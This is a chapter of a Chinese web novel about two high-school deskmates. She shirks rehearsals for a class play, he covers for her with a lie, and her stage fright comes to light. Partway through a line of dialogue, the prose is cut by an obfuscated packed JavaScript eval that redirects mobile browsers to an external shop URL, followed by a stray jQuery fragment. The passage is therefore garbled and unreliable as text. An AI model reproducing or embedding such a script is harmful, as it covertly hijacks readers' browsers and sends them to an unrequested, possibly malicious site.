文趣网 > 都市小说 > 装货 > 13. 坏孩子
    俩人回到教室时,一种令人窒息的静谧再次袭来。

    苏苏桉心底泛起一阵懊悔,面前的大部分人都在埋头做作业。

    笔尖划过纸面的沙沙声,像是无数条蚕在啮食着她的生命,她刚才居然浪费了整整二十分钟!

    那二十分钟里,可能有人已经多做了三道数学大题,可能有人已经背完了整个章节的英语单词……落后的恐惧,比包子穆额头上的伤口更让她心惊。

    她快步都到座位,旁边的裴释感受到一阵风动,撩起了他的一丝头发,不过他头也没抬,只是漫不经心开口,“你演什么的是角色?”

    “不演。”

    “?”

    裴释的笔尖停住了。他缓缓转过头,眉头微蹙,那双总是深邃不见底的眼睛里,此刻正翻涌着某种危险的情绪。

    苏苏桉摇了摇头,好歹活了十几年了,他怎么还这么单纯,“你什么表情?我怎么了?”

    虽然她答应了出演角色,但鉴于鸿门宴中女性角色较少,她们班十好几个女生,个个要参加的话,哪里轮得到她?等把演职表传一圈,哪还有她的位子?

    要是被包子穆发现,硬要她饰演一个角色,那她便演个侍女丫鬟什么的,站在后面当背景板,不用背台词,也不用浪费太多的时间彩排。

    毕竟反正她只答应了参演,又没说要演主角。

    “你答应要饰演......”

    裴释话哽在喉咙里,他和她也同桌十几年了,她的想法他自然瞬间明了。

    只是有些没缘由的气愤。

    凭什么?

    她凭什么对答应了别人的话钻空子?!她凭什么替他答应别人的请求?!她凭什么觉得因为是她开口答应所以他一定会参演?!

    裴释的睫毛盖下一片阴影,眼神也逐渐变得凌厉,他伸手,拿回了那张传来传去的演职表。

    在某个显眼的位置,他的名字赫然在列。

    此刻,这个名字看起来像是一个巨大的嘲讽,他的妥协与付出显得无比可笑。

    裴释拿起橡皮,用力地擦拭着那个名字,像是要抹掉一个耻辱的刺青。

    他脸色愈加阴沉,连带着语气都冷了几分,“你答应的包子穆,等会儿你自己解释。”

    他性情大变,苏苏桉不明所以。只是看着他那张阴沉得近乎恐怖的脸,她心底那抹侥幸瞬间化为乌有。

    她真真切切地感受到了,他们原本就脆弱的关系,此刻突然断裂了。

    演职表在班级里流转,最后又回到包子穆手里,同学们都在上面挑选了自己的职位,主演配角甚至连场务后面都填写了名字。

    但她只瞥了一眼,最上面的两个名字不是她想的那两个人。

    包子穆一掌将演职表拍到他们的桌子上,“你们俩怎么回事?跟我作对呢!”

    苏苏桉瞥了眼那张纸,明明都被填满了,她怎么还生气啊?

    “我们也想演的,但是演职表不都被填满了嘛。”苏桉的声音细得几乎听不见。

    课本剧是在月考后,大家都想参加放松放松。更何况老师早就在班上说了最好全员参加,演职表自然被填的满满当当。

    除了一个需要学习舞剑的角色:项庄。

    虽然只剩这样一个没什么台词的角色,但那也有让他露脸的机会啊......

    看着包子穆满脸堆笑,裴释自然反应过来,“你别想了,我忙着准备竞赛,没时间参加。”

    他声音淡漠,带着明显的疏离与不悦,原本兴致勃勃的包子语气也弱了几分,“明明说好的......”

    “是某人跟你说好的,我没说。”

    裴释说完,包子穆便跟着话头锁定那个埋头做题、不敢看他们的苏苏桉。

    谁知此时的苏苏桉却极好说话,“听凭发落。”

    饰演项羽虞姬的同学是班上公开的情侣,天天一起吃饭一起自习,根本不可能愿意换。

    所以再差能分到什么词多的角色呢?她想不出来,自然是满口答应了。

    包子穆转头看向裴释,“你呢?”

    “嗯。”

    裴释终于答应了。

    可惜出乎意料,苏苏桉还是被分到一个角色。

    “气氛组。”

    美其名曰一个“不可或缺灵魂”角色——在舞台侧翼吹拉弹唱,为那场充满了杀伐之气的《鸿门宴》配乐的气氛组。

    她?一个拉大提琴的,去配古装戏的音乐?难道不会很突兀吗?

    苏苏桉有些没底。

    不过,当她的视线扫过旁边几个乐器时,那股悬空的不安,却又诡异地安定起来。

    吉他,钢琴,古筝,中阮......甚至还有人报了尤克里里。

    博古通今,中西合璧,她的大提琴似乎也不算最离谱了。

    她这边轻松,那边的裴释可不轻松。

    “项庄舞剑”,这四个字在剧本里写得轻飘飘,但在现实里,却是一把沉重的真铁剑。

    原本,依照裴释那万事不走心的性子,只想在表演时随手绕两下,把那把劣质的道具剑挥舞出几道糊弄人的残影,也就罢了。

    可谁曾想,包子穆这回像是被王家卫的疯魔附了身,竟然动用了自己那点微薄的人脉,找来了学校武术社的老师社长示范教学。

    那是真的要把裴释架在火上烤。

    深秋的操场侧翼,空气温暖得像是一块巨大的冰,太阳徒有其表,透着深厚的寒意。

    裴释站在苍白的阳光里,手里握着沉甸甸的铁剑,对面是面色冷峻、神情严肃、每一寸肌肉都紧绷着的武术社长。

    裴释再怎么想逃避,在那种专业而迫人的气场面前,也只能收起那副散漫的皮囊。

    他开始练剑。

    裴释的身形本就清冷,像是一株生长在孤峰上的雪松,每一寸线条都透着克制与沉稳。

    随着社长那如同雷霆般的示范教学,他就算不喜欢、不感兴趣,自己的身体也自动记忆起了那些陌生的招式。

    起步,旋身,剑尖挑起一抹冷冽的风,仿佛要将那周遭的寒凉劈开。

    他学得极快,天赋这种东西在他身上,有时候显得近乎残忍,社长需要经年累月磨炼的协调感,他只需冷眼看上几遍,就能轻松复刻。

    他全神贯注,一会儿便学完了原定的舞剑招式,但老师显然不打算轻易放过这块良才美玉。

    见他天赋异禀,老师又提高难度让他进阶练习。

    于是,在那个寒风凛冽的午后,裴释持着那把剑,被迫在冷空气中反复挥舞。

    汗水,在极度的寒冷中,竟然顺着他的鬓角滴落。

    等他终于结束训练回到教室时,整个人像是刚从沸水里捞出来的冰块,周身散发着一种冷热交织的水雾。

    苏苏桉一直关注着门口。

    当那个熟悉的身影推门而入时,她静如深潭的双眼,洇开了一抹亮色。

    苏苏桉笑眼弯弯,双手奉上了一瓶水,“累不累啊,你实在太辛苦了。”

    她的声音放得很软,刻意带着一种接近谄媚的黏糊劲儿。

    然而,那张过于漂亮且无害的脸庞,完美地掩盖了她内心的肮脏。在冬阳的滤镜下,她的笑容显得如此纯净、可爱,甚至带着一种毛茸茸的治愈感。

    裴释被自己的想法吓了一跳,连忙转移了视线,只是大脑反应过来,心里却还有些缺氧般的空白,难道真的是训练过度,导致多巴胺分泌失常,连脑袋都累晕了?

    看来他确实需要喝水。

    “谢了。”

    他接过水,指尖触碰到她微凉的手指,像是被一道微弱的电流触电,转瞬即逝。

    他拧开盖子,喉结剧烈地上下滑动,大口吞咽着冰冷的液体。

    “你刚才训练见到包子穆了吗?”

    裴释刚接过水,旁边便传来一声幽幽的询问,他心里顿感不妙,可惜水已经入喉,悔亦为时已晚。

    他放下水瓶,目光落在苏桉那张写满了算计的小脸上。

    果然,世界一切的馈赠都是需要付出代价的。

    还没等他给出回应,教室门口突然炸开一阵急促的脚步声。

    包子穆如同催命判官,气冲冲地冲进教室,在外冻得通红的脸蛋,此刻挂着显而易见的愤怒。

    苏苏桉想跑,却见她径直跑到苏苏桉面前,一只手像鹰爪一样捏住了苏桉的脸颊肉,强迫她与自己对视,“你怎么没去......”

    两张脸瞬间拉近。

    包子穆那张略显狰狞的脸在苏桉瞳孔中无限放大。虽然是再熟悉不过的人,但这种近乎审判的压迫感,还是让苏苏桉的心脏疯狂地撞击着胸腔。

    她艰难地咽了口唾沫,喉咙干涩,“没有啊……”

    “还没有!”

    见她还在狡辩,包子穆的脸陡然扭曲,“我亲自去的音乐组,亲眼看到你不在!”

    苏苏桉的大脑瞬间宕机,事实摆在她们面前,她辩无可辩,只能在桌下拉了拉旁边那人的衣角。

    隔着薄薄的校服布料,她能感受到他陡然紧绷的肌肉,以及那让人心安的温度。

    “她陪我学舞剑呢。”

    裴释的声音响起的刹那,苏苏桉觉得全世界的噪音都消失了。

    久旱逢甘霖,他的嗓音依旧冷淡,却是一场及时雨,浇灭了烧眉的火。

    包子穆听了这话,松开了苏苏桉的脸。

    苏苏桉的脸回来了,她也随之松开了那只快要把裴释衣服拽破的手。

    指尖还残留着布料的余温,带着一丝不可名状的颤栗。

    “那为什么我联系的那个社长说就你一个人啊。”包子穆显然没那么好打发。

    桌子底下的那只手,又抓住了裴释的衣角。

    这一次,不再是试探,而是一种近乎绝望的祈求,像案板上的鱼,疯狂曳尾求生。

    裴释闭了闭眼。他能感受到苏桉那种小心翼翼的恐惧,她自私,却又舍不得这个好朋友,或许也是她唯一的好朋友。

    他顿了顿,语气平稳得听不出一丝涟漪,“我差遣她去给我买水了。”

    说完,他顺手扬了扬手里那瓶普通到随处可见的矿泉水。

    听了这漏洞百出的话,苏苏桉心像灌了铅一样沉重,这撒的什么破谎话?还不如让她自己编呢。

    她愤恨地剜了裴释一眼,这个人称天才的学霸,撒谎的水平竟然如此拙劣!桌上的这瓶水是最普通的矿泉水,哪里没有?哪里买不到?便利店、超市……满大街都是,需要她消失一整个下午去买?

    她已经预感到了必死的结局。

    她忐忑地望向包子穆,对方正眉头紧锁,眼神在裴释和那瓶水之间来回移动,似乎真的在思考这种说法的可能性。

    “好吧,”包子穆突然重重地叹了口气,她脸上的狰狞散去,取而代之的是一种近乎愚钝的真诚,“那你记得下次一定要去哦。咱们排练时间真的不多了。”

    接着,包子穆又开始拉起苏桉的手,跟她详细分析了他们仅剩的排练时间,情真意切,真情实感,每一个字都透着对成功的渴望。

    但苏苏桉脑子里只有一个想法:天呐,这孩子也太好骗了吧。

    她的心底涌起一股极其复杂的情绪,既有劫后余生的庆幸,也有小聪明得逞后卑劣的窃喜。

    到底是她太聪明还是别人太简单?

    苏苏桉摇了摇头,试图甩掉那为数不多的内疚。

    既然连这种烂借口都能蒙混过关,那下次……苏苏桉来不及幻想就被旁边的声音打断。

    “说谎可不是好孩子。”

    裴释那带着一丝嘲讽

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507115|202284||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的声音,无情地刺破了她的幻想。

    乖巧的外皮剥落,苏桉瞬间变脸,露出了底下尖锐且刻薄的内里,“我又没说谎。”

    “......”

    刚骗完人就翻脸不认人了?

    裴释冷脸瞥了她一眼,但见旁边那人小人得志地晃了晃脑袋,还是无奈地叹了口气。

    “‘说谎可不是好孩子哟’,这句话还给你。”苏苏桉像个小大人一样双手背后,昂着脑袋,得意的神情丝毫不加掩饰。

    裴释闷笑一声,真是给点阳光就灿烂。

    他才懒得跟她计较。

    “我们下次也一起练剑吧。”苏桉乘胜追击,想把这个借口透支到底。

    真是明晃晃的要偷懒啊。

    裴释终于皱起了眉头。看着她的眼神里透着一种赤裸裸的质疑与鄙视。

    拉着他一起参加的是她,参加了想尽办法偷懒的也是她。

    一个完全经不起推敲的谎言,是包子穆不想计较,不是他们的谎言多高超。逃避一次就算了,怎么还一直想用这个借口。真当包子里面没有馅儿啊?

    裴释表情淡淡的,不是默认,也不是不置可否。

    “那好吧。”苏苏桉当然知道这是什么意思。

    “为什么不想参加排练?”

    苏桉脸上的笑容僵住了。

    她低下头,避开他那双洞若观火的眼睛。

    “我都没练过,怎么去排练啊。”

    苏苏桉还是下午刚拿到的琴谱,三个曲子,每一首都充满了密密麻麻的升降号和跳跃的音符,没有一首是她练过的。她当然不能和别人一起练习了,万一出错了该怎么办?

    她还是回到家里,自己找时间练习吧,虽然消耗的是她自己的休息时间,但那也总比当众出丑好。

    她宁愿在每个夜晚反复练习,也不愿意在这种未完成的状态下,把自己暴露在灯光和视线里。

    但裴释还是不解,不会就练习,出错就改正,更何况错误还没出生,为什么要预支痛苦和失败?

    不过这些他都没有问出口,毕竟这是她自己的选择,更何况这已经是难以逆转的事实,她已经躲过了这次训练。

    只是,下次她就会乖乖跟去排练吗?

    “那下次呢?”

    如他所料,苏苏桉没有说话,结果显而易见。

    只是,苏苏桉不是爱偷懒,也不是不勤奋,她只是太害怕,“万一失误了怎么办?”

    “只是次排练,失误了就改正。”

    “那万一登台表演的时候也失误了怎么办?”

    那样的失误也能改正吗?

    苏苏桉想大概是不能,她已经一年多没有登台表演了。

    上一次演奏,就在她沉浸在乐曲的高潮时,弓子竟然在众目睽睽之下猝然断裂。她在台上手足无措的场景尤在眼前,台下吃惊的、同情的、幸灾乐祸的表情历历在目。

    无数次午夜梦回,最深的恐惧,仍是那次,像囚徒一样被扒光了衣服站在舞台上,进退两难,是临时借到其他人弓子后的恐惧担忧束手束脚,是里子外子都丢了还没有排名的羞愤与耻辱。

    她害怕了,害怕每一次登台、害怕每一次当众表演、害怕突发情况、害怕失误和失误后其他人或嘲笑或同情的表情……还有苏珊复杂的眼神。

    不知道是不是苏珊也感知到了她对登台演奏的恐惧和逃避,还是她失望到已经不对她的表演抱有任何希望和期待,苏珊不再催促她参加任何比赛了,而苏桉,也把自己变成了一个逃兵。

    不比赛的话,再拉琴也只靠她兴趣爱好。

    可偏偏她对此又不甚喜欢,所以除了每周固定的一节课外,她不再花大把时间练习。

    周围人都知道她的变化,裴释也是,他知道她所有的变化,以及前因后果,但他也知道,她的性格。

    一朝被蛇咬,十年怕草绳。

    裴释看着她,语气里多了一丝连他自己都没察觉到的怜悯。

    “不会的。”

    “我会的。”

    三个字破口而出,苏苏桉自己都没想到,她的语气是如此斩钉截铁。

    她太害怕了,明明只是一次不专业的比赛,明明都是些不专业的选手,但她总是很紧张,像那张紧绷的弓,稍微一点风吹草动就足以让她崩坏。

    哪怕一切都还是静谧美好,她也风声鹤唳,哪怕一切都还没开始,她也已经预支了失败。

    说不定排练的某次失败,会招致其他同学的厌烦,说不定上台演奏的失败,会阻碍其他同学获得冠军。

    “我不想参加了。”

    原本只是害怕排练,现在的她预设了后果后,害怕了所有,练习,排练,上台表演……

    她望向裴释,眼神里透着一股破碎的祈求。

    大提琴,本来就和什么十面埋伏楚汉之争的音乐不配,更何况是好几个人演奏,“多我一个不多,少我一个也不少,对吧?”

    苏苏桉探究地望向裴释,她不是在问一个答案,只是想要一个支持,一个盟友同意她躲避逃离的支持。

    裴释没有回答。

    窗外的冬日夕阳正缓缓坠下,阴影从教室的角落里滋生出来,一点点蚕食着剩下的光。

    她说的没错,钢琴的音域很广,足够应付大部分曲子,本来就是破烂零碎的合奏,少一个人也不那么重要。

    但这句话他说不出口,他看出了她的胆怯,也看出了那张傲娇利齿的皮囊下,住着敏感易碎的灵魂。

    哪怕只是一个微不足道的声音,都能引起她心底震荡。

    可是,就算失误了又怎样呢?课本剧下坐着所谓的观众评委,有几个能听出得失误?

    她的压力和恐惧,来源于她自己,她的心一半是野心,另一半是担心,但她最缺少的是放宽心。